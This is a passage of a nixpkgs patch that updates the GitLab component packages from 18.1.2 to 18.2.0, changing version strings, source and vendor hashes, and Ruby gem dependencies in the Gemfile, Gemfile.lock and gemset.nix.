 pkgs/by-name/gi/gitlab-pages/package.nix      |   6 +-
 pkgs/by-name/gi/gitlab-shell/package.nix      |   6 +-
 pkgs/by-name/gi/gitlab/data.json              |  18 +--
 .../gi/gitlab/gitlab-workhorse/default.nix    |   4 +-
 pkgs/by-name/gi/gitlab/rubyEnv/Gemfile        |  26 ++-
 pkgs/by-name/gi/gitlab/rubyEnv/Gemfile.lock   | 104 ++++++------
 pkgs/by-name/gi/gitlab/rubyEnv/gemset.nix     | 151 +++++++-----------
 10 files changed, 139 insertions(+), 194 deletions(-)

diff --git a/pkgs/by-name/gi/gitaly/package.nix b/pkgs/by-name/gi/gitaly/package.nix
index f27132f57d2a..4d844474cb7d 100644
--- a/pkgs/by-name/gi/gitaly/package.nix
+++ b/pkgs/by-name/gi/gitaly/package.nix
@@ -7,7 +7,7 @@
 }:
 
 let
-  version = "18.1.2";
+  version = "18.2.0";
   package_version = "v${lib.versions.major version}";
   gitaly_package = "gitlab.com/gitlab-org/gitaly/${package_version}";
 
@@ -21,10 +21,10 @@ let
       owner = "gitlab-org";
       repo = "gitaly";
       rev = "v${version}";
-      hash = "sha256-ErA04W6rWsjSay02bst0ur1mztrdo8SW/mpGtln4unI=";
+      hash = "sha256-e78kokFzVqFGgurlqThxHhfrGiRuZ+XG2g5hRrCuF3Y=";
     };
 
-    vendorHash = "sha256-BTpcnaHNyLgdAA9KqqA+mBo18fmQ0+OwLGNOPHRJ/IE=";
+    vendorHash = "sha256-RjDV4NGmmdT9STQBHiYf3UUYwPmuSg6970/W/ekxin0=";
 
     ldflags = [
       "-X ${gitaly_package}/internal/version.version=${version}"
diff --git a/pkgs/by-name/gi/gitlab-container-registry/package.nix b/pkgs/by-name/gi/gitlab-container-registry/package.nix
index d5013e8d13d6..217966c4b1eb 100644
--- a/pkgs/by-name/gi/gitlab-container-registry/package.nix
+++ b/pkgs/by-name/gi/gitlab-container-registry/package.nix
@@ -6,7 +6,7 @@
 
 buildGoModule rec {
   pname = "gitlab-container-registry";
-  version = "4.24.0";
+  version = "4.25.0";
   rev = "v${version}-gitlab";
 
   # nixpkgs-update: no auto update
@@ -14,10 +14,10 @@ buildGoModule rec {
     owner = "gitlab-org";
     repo = "container-registry";
     inherit rev;
-    hash = "sha256-GNL7L6DKIKEgDEZQkeHNOn4R5SnWnHvNoUIs2YLjoR8=";
+    hash = "sha256-7jzKFC29NAHi5iag6aA/5LzH6IyqMa3yAxtzV9OsBnQ=";
   };
 
-  vendorHash = "sha256-zisadCxyfItD/n7VGbtbvhl8MRHiqdw0Kkrg6ebgS/8=";
+  vendorHash = "sha256-z9IlfyJ48FQzhbY38GbZaeQjg3cMDU8tLCXKhazP64A=";
 
   checkFlags =
     let
diff --git a/pkgs/by-name/gi/gitlab-elasticsearch-indexer/package.nix b/pkgs/by-name/gi/gitlab-elasticsearch-indexer/package.nix
index 3befb216c4c2..ea5fad14c940 100644
--- a/pkgs/by-name/gi/gitlab-elasticsearch-indexer/package.nix
+++ b/pkgs/by-name/gi/gitlab-elasticsearch-indexer/package.nix
@@ -8,17 +8,17 @@
 
 buildGoModule rec {
   pname = "gitlab-elasticsearch-indexer";
-  version = "5.6.0";
+  version = "5.7.0";
 
   # nixpkgs-update: no auto update
   src = fetchFromGitLab {
     owner = "gitlab-org";
     repo = "gitlab-elasticsearch-indexer";
     rev = "v${version}";
-    hash = "sha256-XerIPK+s0OWYAqKVqE3HSSI+D4cXixYqRHmf9/4C2eg=";
+    hash = "sha256-Qlz8YT6lGUtnMXCrfZZjzmSz0AivzcCVEd/tEKzfoYg=";
   };
 
-  vendorHash = "sha256-qNGACM5DKufyNVKhJyakmMRbaMXi+JJUfojhWdk0ptU=";
+  vendorHash = "sha256-C0B9fe/S5TODgVTMGBBD5oGH/DsxAvCB6tBLaRdswCA=";
 
   buildInputs = [ icu ];
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/gi/gitlab-pages/package.nix b/pkgs/by-name/gi/gitlab-pages/package.nix
index 094ad7693f37..1f1362849977 100644
--- a/pkgs/by-name/gi/gitlab-pages/package.nix
+++ b/pkgs/by-name/gi/gitlab-pages/package.nix
@@ -6,17 +6,17 @@
 
 buildGoModule rec {
   pname = "gitlab-pages";
-  version = "18.1.2";
+  version = "18.2.0";
 
   # nixpkgs-update: no auto update
   src = fetchFromGitLab {
     owner = "gitlab-org";
     repo = "gitlab-pages";
     rev = "v${version}";
-    hash = "sha256-XY/WK19nujQPdsicGDHS5gEZf3uJZdW41R4xK9hDML0=";
+    hash = "sha256-TcDk816n4483SzTuz5bc8e2efrd2eJdM8jWXpM3DMvY=";
   };
 
-  vendorHash = "sha256-6ZHKwPhC3N813kiw1NnPOMVc2CBSIClwc4MunDi0gCk=";
+  vendorHash = "sha256-OubXCpvGtGqegQmdb6R1zw/0DfQ4FdbJGt7qYYRnWnA=";
   subPackages = [ "." ];
 
   meta = with lib; {
diff --git a/pkgs/by-name/gi/gitlab-shell/package.nix b/pkgs/by-name/gi/gitlab-shell/package.nix
index 2bc9ba46c36a..c12daca4cdc3 100644
--- a/pkgs/by-name/gi/gitlab-shell/package.nix
+++ b/pkgs/by-name/gi/gitlab-shell/package.nix
@@ -8,14 +8,14 @@
 
 buildGoModule rec {
   pname = "gitlab-shell";
-  version = "14.42.0";
+  version = "14.43.0";
 
   # nixpkgs-update: no auto update
   src = fetchFromGitLab {
     owner = "gitlab-org";
     repo = "gitlab-shell";
     rev = "v${version}";
-    hash = "sha256-U42xSb9kZpxBIE+tua5m3iNMBfcLRlujSI3K5eWiuME=";
+    hash = "sha256-JBcfsOLutxHUk5z+vXP8CnVSmJazhqJk4fZ0vONIswo=";
   };
 
   buildInputs = [
@@ -27,7 +27,7 @@ buildGoModule rec {
     ./remove-hardcoded-locations.patch
   ];
 
-  vendorHash = "sha256-aBANgvo9kWiHoytaB10J3hf9vOWVsz/vJApVHet93xg=";
+  vendorHash = "sha256-zuxgWBrrftkNjMhAXs8cAcQmb8RLQqvnFhU0HnUUcTA=";
 
   subPackages = [
     "cmd/gitlab-shell"
diff --git a/pkgs/by-name/gi/gitlab/data.json b/pkgs/by-name/gi/gitlab/data.json
index 7e6ef7cd5e0f..aa76ef74a44a 100644
--- a/pkgs/by-name/gi/gitlab/data.json
+++ b/pkgs/by-name/gi/gitlab/data.json
@@ -1,15 +1,15 @@
 {
-  "version": "18.1.2",
-  "repo_hash": "072ib6rc7mw9pdzql8514k4z76i1ahssyj5kypgyvf9qj4naym0b",
-  "yarn_hash": "0c5pp3dpvw0q0nfl6w1lpdmk7dvkfinwb7z7a3vq22wgzca23x2m",
+  "version": "18.2.0",
+  "repo_hash": "0wkxnhrxq3x2ahbb1hffd2c321mz3y1wi7qh89drg8rn4qgz09cd",
+  "yarn_hash": "04mqinnbhr6zgab2p1bq6y6b20bf4c4cynkgfc67mzm9xhybr3fk",
   "owner": "gitlab-org",
   "repo": "gitlab",
-  "rev": "v18.1.2-ee",
+  "rev": "v18.2.0-ee",
   "passthru": {
-    "GITALY_SERVER_VERSION": "18.1.2",
-    "GITLAB_PAGES_VERSION": "18.1.2",
-    "GITLAB_SHELL_VERSION": "14.42.0",
-    "GITLAB_ELASTICSEARCH_INDEXER_VERSION": "5.6.0",
-    "GITLAB_WORKHORSE_VERSION": "18.1.2"
+    "GITALY_SERVER_VERSION": "18.2.0",
+    "GITLAB_PAGES_VERSION": "18.2.0",
+    "GITLAB_SHELL_VERSION": "14.43.0",
+    "GITLAB_ELASTICSEARCH_INDEXER_VERSION": "5.7.0",
+    "GITLAB_WORKHORSE_VERSION": "18.2.0"
   }
 }
diff --git a/pkgs/by-name/gi/gitlab/gitlab-workhorse/default.nix b/pkgs/by-name/gi/gitlab/gitlab-workhorse/default.nix
index d32d1530b2ce..c8f129daff95 100644
--- a/pkgs/by-name/gi/gitlab/gitlab-workhorse/default.nix
+++ b/pkgs/by-name/gi/gitlab/gitlab-workhorse/default.nix
@@ -10,7 +10,7 @@ in
 buildGoModule rec {
   pname = "gitlab-workhorse";
 
-  version = "18.1.2";
+  version = "18.2.0";
 
   # nixpkgs-update: no auto update
   src = fetchFromGitLab {
@@ -22,7 +22,7 @@ buildGoModule rec {
 
   sourceRoot = "${src.name}/workhorse";
 
-  vendorHash = "sha256-jsp68duGIW1p8ltfSlK0jPd22iscjiIOyrxfsr+2QY0=";
+  vendorHash = "sha256-fJ1QqVn2t591ZQv9ilwgk+sPwNZNy6bHvpdCPs7S0+s=";
   buildInputs = [ git ];
   ldflags = [ "-X main.Version=${version}" ];
   doCheck = false;
diff --git a/pkgs/by-name/gi/gitlab/rubyEnv/Gemfile b/pkgs/by-name/gi/gitlab/rubyEnv/Gemfile
index b8cd3db40e42..40f61b9e6d0b 100644
--- a/pkgs/by-name/gi/gitlab/rubyEnv/Gemfile
+++ b/pkgs/by-name/gi/gitlab/rubyEnv/Gemfile
@@ -7,7 +7,7 @@ end
 source 'https://rubygems.org'
 
 if ENV.fetch('BUNDLER_CHECKSUM_VERIFICATION_OPT_IN', 'false') != 'false' # this verification is still experimental
-  $LOAD_PATH.unshift(File.expand_path("vendor/gems/bundler-checksum/lib", __dir__))
+  $LOAD_PATH.unshift(File.expand_path("gems/bundler-checksum/lib", __dir__))
   require 'bundler-checksum'
   BundlerChecksum.patch!
 end
@@ -21,7 +21,7 @@ end
 
 extend ignore_feature_category
 
-gem 'bundler-checksum', '~> 0.1.0', path: 'vendor/gems/bundler-checksum', require: false, feature_category: :shared
+gem 'bundler-checksum', '~> 0.1.0', path: 'gems/bundler-checksum', require: false, feature_category: :shared
 
 # See https://docs.gitlab.com/ee/development/gemfile.html#upgrade-rails for guidelines when upgrading Rails
 
@@ -37,7 +37,7 @@ gem 'mutex_m', '~> 0.3', feature_category: :shared
 # Need by Rails
 gem 'drb', '~> 2.2', feature_category: :shared
 
-gem 'bootsnap', '~> 1.18.3', require: false, feature_category: :shared
+gem 'bootsnap', '~> 1.18.6', require: false, feature_category: :shared
 
 # Avoid the precompiled native gems because Omnibus needs to build this to ensure
 # LD_LIBRARY_PATH is correct: https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/7730
@@ -344,9 +344,6 @@ gem 'atlassian-jwt', '~> 0.2.1', feature_category: :integrations
 # Slack integration
 gem 'slack-messenger', '~> 2.3.5', feature_category: :integrations
 
-# FogBugz integration
-gem 'ruby-fogbugz', '~> 0.3.0', feature_category: :importers
-
 # Kubernetes integration
 gem 'kubeclient', '~> 4.11.0', feature_category: :shared
 
@@ -404,7 +401,7 @@ gem 'gitlab-schema-validation', path: 'gems/gitlab-schema-validation', feature_c
 gem 'gitlab-http', path: 'gems/gitlab-http', feature_category: :shared
 
 gem 'premailer-rails', '~> 1.12.0', feature_category: :notifications
-gem 'gitlab-labkit', '~> 0.37.0', feature_category: :shared
+gem 'gitlab-labkit', '~> 0.39.0', feature_category: :shared
 gem 'thrift', '>= 0.16.0', feature_category: :shared
 
 # I18n
@@ -422,10 +419,6 @@ gem 'tty-prompt', '~> 0.23', require: false, feature_category: :shared
 # Perf bar
 gem 'peek', '~> 1.1', feature_category: :shared
 
-# Google Cloud Profiler support
-gem 'cloud_profiler_agent', '~> 0.0.0', path: 'vendor/gems/cloud_profiler_agent', require: false,
-  feature_category: :shared
-
 # Snowplow events trackin
 gem 'snowplow-tracker', '~> 0.8.0', feature_category: :product_analytics
 
@@ -438,7 +431,7 @@ gem 'prometheus-client-mmap', '~> 1.2.9', require: 'prometheus/client', feature_
 gem 'async', '~> 2.24.0', require: false, feature_category: :shared
 
 # Security report schemas used to validate CI job artifacts of security jobs
-gem 'gitlab-security_report_schemas', '0.1.2.min15.0.0.max15.2.1', feature_category: :vulnerability_management
+gem 'gitlab-security_report_schemas', '0.1.3.min15.0.0.max15.2.2', feature_category: :vulnerability_management
 
 # OpenTelemetry
 group :opentelemetry do
@@ -515,7 +508,7 @@ group :development, :test do
 
   gem 'database_cleaner-active_record', '~> 2.2.0', feature_category: :database
   gem 'rspec-rails', '~> 7.1.0', feature_category: :shared
-  gem 'factory_bot_rails', '~> 6.4.3', feature_category: :tooling
+  gem 'factory_bot_rails', '~> 6.5.0', feature_category: :tooling
 
   # Prevent occasions where minitest is not bundled in packaged versions of ruby (see #3826)
   gem 'minitest', '~> 5.11.0', feature_category: :shared
@@ -565,7 +558,7 @@ group :development, :test, :coverage do
   gem 'simplecov', '~> 0.22', require: false, feature_category: :tooling
   gem 'simplecov-lcov', '~> 0.8.0', require: false, feature_category: :tooling
   gem 'simplecov-cobertura', '~> 2.1.0', require: false, feature_category: :tooling
-  gem 'undercover', '~> 0.6.0', require: false, feature_category: :tooling
+  gem 'undercover', '~> 0.7.0', require: false, feature_category: :tooling
 end
 
 # Gems required in omnibus-gitlab pipeline
@@ -646,7 +639,7 @@ gem 'spamcheck', '~> 1.3.0', feature_category: :insider_threat
 gem 'gitaly', '~> 18.1.0.pre.rc1', feature_category: :gitaly
 
 # KAS GRPC protocol definitions
-gem 'gitlab-kas-grpc', '~> 17.11.0', feature_category: :deployment_management
+gem 'gitlab-kas-grpc', '~> 18.1.0', feature_category: :deployment_management
 
 # Lock until 1.74.0 is available
 # https://gitlab.com/gitlab-com/gl-infra/production/-/issues/20067
@@ -728,6 +721,7 @@ gem 'arr-pm', '~> 0.0.12', feature_category: :package_registry
 
 # Remote Development
 gem 'devfile', '~> 0.4.4', feature_category: :workspaces
+gem 'hashdiff', '~> 1.2.0', feature_category: :workspaces
 
 # Apple plist parsing
 gem 'CFPropertyList', '~> 3.0.0', feature_category: :mobile_devops
@@ -758,4 +752,4 @@ gem 'paper_trail', '~> 16.0', feature_category: :shared
 
 gem "i18n_data", "~> 0.13.1", feature_category: :system_access
 
-gem "gitlab-cloud-connector", "~> 1.14", require: 'gitlab/cloud_connector', feature_category: :cloud_connector
+gem "gitlab-cloud-connector", "~> 1.21", require: 'gitlab/cloud_connector', feature_category: :plan_provisioning
diff --git a/pkgs/by-name/gi/gitlab/rubyEnv/Gemfile.lock b/pkgs/by-name/gi/gitlab/rubyEnv/Gemfile.lock
index e5a452a4d519..7b7363c6267c 100644
--- a/pkgs/by-name/gi/gitlab/rubyEnv/Gemfile.lock
+++ b/pkgs/by-name/gi/gitlab/rubyEnv/Gemfile.lock
@@ -4,6 +4,12 @@ PATH
     activerecord-gitlab (0.2.0)
       activerecord (>= 7)
 
+PATH
+  remote: gems/bundler-checksum
+  specs:
+    bundler-checksum (0.1.0)
+      bundler
+
 PATH
   remote: gems/click_house-client
   specs:
@@ -126,21 +132,6 @@ PATH
       diffy (~> 3.4)
       oj (~> 3.16, >= 3.16.10)
 
-PATH
-  remote: vendor/gems/bundler-checksum
-  specs:
-    bundler-checksum (0.1.0)
-      bundler
-
-PATH
-  remote: vendor/gems/cloud_profiler_agent
-  specs:
-    cloud_profiler_agent (0.0.1.pre)
-      google-cloud-profiler-v2 (~> 0.3)
-      google-protobuf (~> 3.25)
-      googleauth (>= 0.14)
-      stackprof (~> 0.2)
-
 PATH
   remote: vendor/gems/devise-pbkdf2-encryptable
   specs:
@@ -217,8 +208,8 @@ GEM
       nkf
       rexml
     RedCloth (4.3.4)
-    acme-client (2.0.21)
-      base64 (~> 0.2.0)
+    acme-client (2.0.22)
+      base64 (~> 0.2)
       faraday (>= 1.0, < 3.0.0)
       faraday-retry (>= 1.0, < 3.0.0)
     actioncable (7.1.5.1)
@@ -343,8 +334,8 @@ GEM
     awrence (1.2.1)
     aws-eventstream (1.3.0)
     aws-partitions (1.1001.0)
-    aws-sdk-cloudformation (1.131.0)
-      aws-sdk-core (~> 3, >= 3.216.0)
+    aws-sdk-cloudformation (1.133.0)
+      aws-sdk-core (~> 3, >= 3.225.0)
       aws-sigv4 (~> 1.5)
     aws-sdk-core (3.225.0)
       aws-eventstream (~> 1, >= 1.3.0)
@@ -446,7 +437,7 @@ GEM
       descendants_tracker (~> 0.0.1)
     colored2 (3.1.2)
     commonmarker (0.23.11)
-    concurrent-ruby (1.2.3)
+    concurrent-ruby (1.3.5)
     connection_pool (2.5.3)
     console (1.29.2)
       fiber-annotation
@@ -489,7 +480,7 @@ GEM
     danger-gitlab (8.0.0)
       danger
       gitlab (~> 4.2, >= 4.2.0)
-    database_cleaner-active_record (2.2.0)
+    database_cleaner-active_record (2.2.1)
       activerecord (>= 5.a)
       database_cleaner-core (~> 2.0.0)
     database_cleaner-core (2.0.1)
@@ -552,7 +543,7 @@ GEM
       jwt (>= 2.5)
       ostruct (>= 0.5)
     dotenv (2.7.6)
-    drb (2.2.1)
+    drb (2.2.3)
     dry-cli (1.0.0)
     dry-core (1.0.1)
       concurrent-ruby (~> 1.0)
@@ -608,9 +599,9 @@ GEM
       html-pipeline (~> 2.9)
     factory_bot (6.5.0)
       activesupport (>= 5.0.0)
-    factory_bot_rails (6.4.4)
+    factory_bot_rails (6.5.0)
       factory_bot (~> 6.5)
-      railties (>= 5.0.0)
+      railties (>= 6.1.0)
     faraday (2.13.1)
       faraday-net_http (>= 2.0, < 3.5)
       json
@@ -619,7 +610,7 @@ GEM
       faraday (>= 1, < 3)
     faraday-http-cache (2.5.0)
       faraday (>= 0.8)
-    faraday-multipart (1.1.0)
+    faraday-multipart (1.1.1)
       multipart-post (~> 2.0)
     faraday-net_http (3.1.0)
       net-http
@@ -734,10 +725,10 @@ GEM
       terminal-table (>= 1.5.1)
     gitlab-chronic (0.10.6)
       numerizer (~> 0.2)
-    gitlab-cloud-connector (1.17.0)
+    gitlab-cloud-connector (1.21.0)
       activesupport (~> 7.0)
       jwt (~> 2.9.3)
-    gitlab-crystalball (1.1.0)
+    gitlab-crystalball (1.1.1)
       git (< 4)
       ostruct (< 1)
     gitlab-dangerfiles (4.9.2)
@@ -758,15 +749,17 @@ GEM
       nokogiri (~> 1, >= 1.10.8)
     gitlab-glfm-markdown (0.0.31)
       rb_sys (~> 0.9.109)
-    gitlab-kas-grpc (17.11.3)
+    gitlab-kas-grpc (18.1.0)
       grpc (~> 1.0)
-    gitlab-labkit (0.37.0)
+    gitlab-labkit (0.39.0)
       actionpack (>= 5.0.0, < 8.1.0)
       activesupport (>= 5.0.0, < 8.1.0)
+      google-protobuf (~> 3)
       grpc (>= 1.62)
       jaeger-client (~> 1.1.0)
       opentracing (~> 0.4)
-      pg_query (>= 5.1.0, < 7.0)
+      pg_query (>= 6.1.0, < 7.0)
+      prometheus-client-mmap (~> 1.2.9)
       redis (> 3.0.0, < 6.0.0)
     gitlab-license (2.6.0)
     gitlab-mail_room (0.0.27)
@@ -782,7 +775,7 @@ GEM
       activesupport (>= 5.2.0)
       rake (~> 13.0)
       snowplow-tracker (~> 0.8.0)
-    gitlab-secret_detection (0.29.1)
+    gitlab-secret_detection (0.33.0)
       grpc (>= 1.63.0, < 2)
       grpc_reflection (~> 0.1)
       parallel (~> 1)
@@ -790,9 +783,10 @@ GEM
       sentry-ruby (~> 5.22)
       stackprof (~> 0.2.27)
       toml-rb (~> 2.2)
-    gitlab-security_report_schemas (0.1.2.min15.0.0.max15.2.1)
+    gitlab-security_report_schemas (0.1.3.min15.0.0.max15.2.2)
       activesupport (>= 6, < 8)
       json_schemer (~> 2.3.0)
+      mutex_m (~> 0.3.0)
     gitlab-styles (13.1.0)
       rubocop (= 1.71.1)
       rubocop-capybara (~> 2.21.0)
@@ -887,9 +881,6 @@ GEM
     google-cloud-location (0.6.0)
       gapic-common (>= 0.20.0, < 2.a)
       google-cloud-errors (~> 1.0)
-    google-cloud-profiler-v2 (0.4.0)
-      gapic-common (>= 0.18.0, < 2.a)
-      google-cloud-errors (~> 1.0)
     google-cloud-storage (1.45.0)
       addressable (~> 2.8)
       digest-crc (~> 0.4)
@@ -995,7 +986,7 @@ GEM
       thor
       tilt
     hana (1.3.7)
-    hashdiff (1.1.0)
+    hashdiff (1.2.0)
     hashie (5.0.0)
     health_check (3.1.0)
       railties (>= 5.0)
@@ -1104,7 +1095,7 @@ GEM
     language_server-protocol (3.17.0.3)
     launchy (2.5.2)
       addressable (~> 2.8)
-    lefthook (1.11.13)
+    lefthook (1.11.16)
     letter_opener (1.10.0)
       launchy (>= 2.2, < 4)
     letter_opener_web (3.0.0)
@@ -1259,7 +1250,7 @@ GEM
       ostruct (>= 0.2)
     oj-introspect (0.8.0)
       oj (>= 3.16.10)
-    omniauth (2.1.2)
+    omniauth (2.1.3)
       hashie (>= 3.4.6)
       rack (>= 2.2.3)
       rack-protection
@@ -1312,7 +1303,7 @@ GEM
     opensearch-ruby (3.4.0)
       faraday (>= 1.0, < 3)
       multi_json (>= 1.0)
-    openssl (3.2.0)
+    openssl (3.3.0)
     openssl-signature_algorithm (1.3.0)
       openssl (> 2.0)
     opentelemetry-api (1.2.5)
@@ -1516,7 +1507,7 @@ GEM
     pyu-ruby-sasl (0.0.3.3)
     raabro (1.4.0)
     racc (1.8.1)
-    rack (2.2.13)
+    rack (2.2.17)
     rack-accept (0.4.5)
       rack (>= 0.4)
     rack-attack (6.7.0)
@@ -1588,7 +1579,7 @@ GEM
       rake-compiler-dock (= 1.9.1)
     rbs (3.6.1)
       logger
-    rbtrace (0.5.1)
+    rbtrace (0.5.2)
       ffi (>= 1.0.6)
       msgpack (>= 0.4.3)
       optimist (>= 3.0.0)
@@ -1726,9 +1717,6 @@ GEM
     rubocop-rspec_rails (2.30.0)
       rubocop (~> 1.61)
       rubocop-rspec (~> 3, >= 3.0.1)
-    ruby-fogbugz (0.3.0)
-      crack (~> 0.4)
-      multipart-post (~> 2.0)
     ruby-lsp (0.23.20)
       language_server-protocol (~> 3.17.0)
       prism (>= 1.2, < 2.0)
@@ -1736,7 +1724,7 @@ GEM
       sorbet-runtime (>= 0.5.10782)
     ruby-lsp-rails (0.3.31)
       ruby-lsp (>= 0.23.0, < 0.24.0)
-    ruby-lsp-rspec (0.1.23)
+    ruby-lsp-rspec (0.1.24)
       ruby-lsp (~> 0.23.19)
     ruby-magic (0.6.0)
       mini_portile2 (~> 2.8)
@@ -1845,7 +1833,7 @@ GEM
       tilt (~> 2.0)
       yard (~> 0.9, >= 0.9.24)
       yard-solargraph (~> 0.1)
-    solargraph-rspec (0.5.1)
+    solargraph-rspec (0.5.2)
       solargraph (~> 0.52, >= 0.52.0)
     sorbet-runtime (0.5.11647)
     spamcheck (1.3.3)
@@ -1854,7 +1842,8 @@ GEM
     spring-commands-rspec (1.0.4)
       spring (>= 0.9.1)
     sprite-factory (1.7.1)
-    sprockets (3.7.2)
+    sprockets (3.7.5)
+      base64
       concurrent-ruby (~> 1.0)
       rack (> 1, < 3)
     sprockets-rails (3.5.2)
@@ -1961,12 +1950,14 @@ GEM
     tzinfo (2.0.6)
       concurrent-ruby (~> 1.0)
     uber (0.1.0)
-    undercover (0.6.4)
+    undercover (0.7.0)
       base64
       bigdecimal
       imagen (>= 0.2.0)
       rainbow (>= 2.1, < 4.0)
       rugged (>= 0.27, < 1.10)
+      simplecov
+      simplecov_json_formatter
     unf (0.1.4)
       unf_ext
     unf_ext (0.0.8.2)
@@ -2084,7 +2075,7 @@ DEPENDENCIES
   benchmark-ips (~> 2.14.0)
   benchmark-memory (~> 0.1)
   better_errors (~> 2.10.1)
-  bootsnap (~> 1.18.3)
+  bootsnap (~> 1.18.6)
   browser (~> 5.3.1)
   bullet (~> 8.0.0)
   bundler-checksum (~> 0.1.0)!
@@ -2094,7 +2085,6 @@ DEPENDENCIES
   charlock_holmes (~> 0.7.9)
   circuitbox (= 2.0.0)
   click_house-client!
-  cloud_profiler_agent (~> 0.0.0)!
   commonmarker (~> 0.23.10)
   concurrent-ruby (~> 1.1)
   connection_pool (~> 2.5.3)
@@ -2128,7 +2118,7 @@ DEPENDENCIES
   email_reply_trimmer (~> 0.1)
   email_spec (~> 2.3.0)
   error_tracking_open_api!
-  factory_bot_rails (~> 6.4.3)
+  factory_bot_rails (~> 6.5.0)
   faraday (~> 2)
   faraday-multipart (~> 1.0)
   faraday-retry (~> 2)
@@ -2154,7 +2144,7 @@ DEPENDENCIES
   gitlab-active-context!
   gitlab-backup-cli!
   gitlab-chronic (~> 0.10.5)
-  gitlab-cloud-connector (~> 1.14)
+  gitlab-cloud-connector (~> 1.21)
   gitlab-crystalball (~> 1.1.0)
   gitlab-dangerfiles (~> 4.9.0)
   gitlab-duo-workflow-service-client (~> 0.2)!
@@ -2163,8 +2153,8 @@ DEPENDENCIES
   gitlab-glfm-markdown (~> 0.0.31)
   gitlab-housekeeper!
   gitlab-http!
-  gitlab-kas-grpc (~> 17.11.0)
-  gitlab-labkit (~> 0.37.0)
+  gitlab-kas-grpc (~> 18.1.0)
+  gitlab-labkit (~> 0.39.0)
   gitlab-license (~> 2.6)
   gitlab-mail_room (~> 0.0.24)
   gitlab-markup (~> 2.0.0)
@@ -2175,7 +2165,7 @@ DEPENDENCIES
   gitlab-schema-validation!
   gitlab-sdk (~> 0.3.0)
   gitlab-secret_detection (< 1.0)
-  gitlab-security_report_schemas (= 0.1.2.min15.0.0.max15.2.1)
+  gitlab-security_report_schemas (= 0.1.3.min15.0.0.max15.2.2)
   gitlab-sidekiq-fetcher!
   gitlab-styles (~> 13.1.0)
   gitlab-topology-service-client (~> 0.1)!
@@ -2215,6 +2205,7 @@ DEPENDENCIES
   guard-rspec
   haml_lint (~> 0.58)
   hamlit (~> 2.15.0)
+  hashdiff (~> 1.2.0)
   hashie (~> 5.0.0)
   health_check (~> 3.0)
   html-pipeline (~> 2.14.3)
@@ -2354,7 +2345,6 @@ DEPENDENCIES
   rspec_junit_formatter
   rspec_profiling (~> 0.0.9)
   rubocop
-  ruby-fogbugz (~> 0.3.0)
   ruby-lsp (~> 0.23.0)
   ruby-lsp-rails (~> 0.3.6)
   ruby-lsp-rspec (~> 0.1.10)
@@ -2405,7 +2395,7 @@ DEPENDENCIES
   truncato (~> 0.7.13)
   tty-prompt (~> 0.23)
   typhoeus (~> 1.4.0)
-  undercover (~> 0.6.0)
+  undercover (~> 0.7.0)
   unicode-emoji (~> 4.0)
   unleash (~> 3.2.2)
   uri (= 0.13.2)
diff --git a/pkgs/by-name/gi/gitlab/rubyEnv/gemset.nix b/pkgs/by-name/gi/gitlab/rubyEnv/gemset.nix
index 4edeca120f33..9042ca7c22c3 100644
--- a/pkgs/by-name/gi/gitlab/rubyEnv/gemset.nix
+++ b/pkgs/by-name/gi/gitlab/rubyEnv/gemset.nix
@@ -9,10 +9,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0hbn563v0rc85md0fcx3z968dvq7n2ra64wbgyxg09ndjgwl9870";
+      sha256 = "1xvnj58nln2xa8vlxc1v4zgyda4n387npbcd94z3pjg28fvk8xc1";
       type = "gem";
     };
-    version = "2.0.21";
+    version = "2.0.22";
   };
   actioncable = {
     dependencies = [
@@ -557,10 +557,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1bkkx0sz1lkqhzkrpklnalpv2dshvrdi12yq47xmv0nflhgzysmp";
+      sha256 = "08d3khg5bpi73vmghphr5w4acds2vr8gcdpm93fsaj38wvb960s9";
       type = "gem";
     };
-    version = "1.131.0";
+    version = "1.133.0";
   };
   aws-sdk-core = {
     dependencies = [
@@ -925,7 +925,7 @@ src: {
     groups = [ "default" ];
     platforms = [ ];
     source = {
-      path = "${src}/vendor/gems/bundler-checksum";
+      path = "${src}/gems/bundler-checksum";
       type = "path";
     };
     version = "0.1.0";
@@ -1145,21 +1145,6 @@ src: {
     };
     version = "0.1.0";
   };
-  cloud_profiler_agent = {
-    dependencies = [
-      "google-cloud-profiler-v2"
-      "google-protobuf"
-      "googleauth"
-      "stackprof"
-    ];
-    groups = [ "default" ];
-    platforms = [ ];
-    source = {
-      path = "${src}/vendor/gems/cloud_profiler_agent";
-      type = "path";
-    };
-    version = "0.0.1.pre";
-  };
   coderay = {
     groups = [
       "default"
@@ -1232,10 +1217,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1qh1b14jwbbj242klkyz5fc7npd4j0mvndz62gajhvl1l3wd7zc2";
+      sha256 = "1ipbrgvf0pp6zxdk5ascp6i29aybz2bx9wdrlchjmpx6mhvkwfw1";
       type = "gem";
     };
-    version = "1.2.3";
+    version = "1.3.5";
   };
   connection_pool = {
     groups = [
@@ -1478,10 +1463,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1iz1hv2b1z7509dxvxdwzay1hhs24glxls5ldbyh688zxkcdca1j";
+      sha256 = "1jxzgg3yccp3gjncl5ih0y13dcappmy0y8pq85wgjj0yx5fh0ixy";
       type = "gem";
     };
-    version = "2.2.0";
+    version = "2.2.1";
   };
   database_cleaner-core = {
     groups = [
@@ -1809,15 +1794,17 @@ src: {
   drb = {
     groups = [
       "default"
+      "development"
+      "monorepo"
       "test"
     ];
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0h5kbj9hvg5hb3c7l425zpds0vb42phvln2knab8nmazg2zp5m79";
+      sha256 = "0wrkl7yiix268s2md1h6wh91311w95ikd8fy8m5gx589npyxc00b";
       type = "gem";
     };
-    version = "2.2.1";
+    version = "2.2.3";
   };
   dry-cli = {
     groups = [ "default" ];
@@ -2192,10 +2179,10 @@ src: {
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "122wkrc3d2q1dlca27794hh3arw0kvrf3rgmvn7hj3y5lb51g7hk";
+      sha256 = "18n06y5ww7d08w296b6fpzx05yywp5r8p88j0k37r994aiin2ysa";
       type = "gem";
     };
-    version = "6.4.4";
+    version = "6.5.0";
   };
   faraday = {
     dependencies = [
@@ -2250,10 +2237,10 @@ src: {
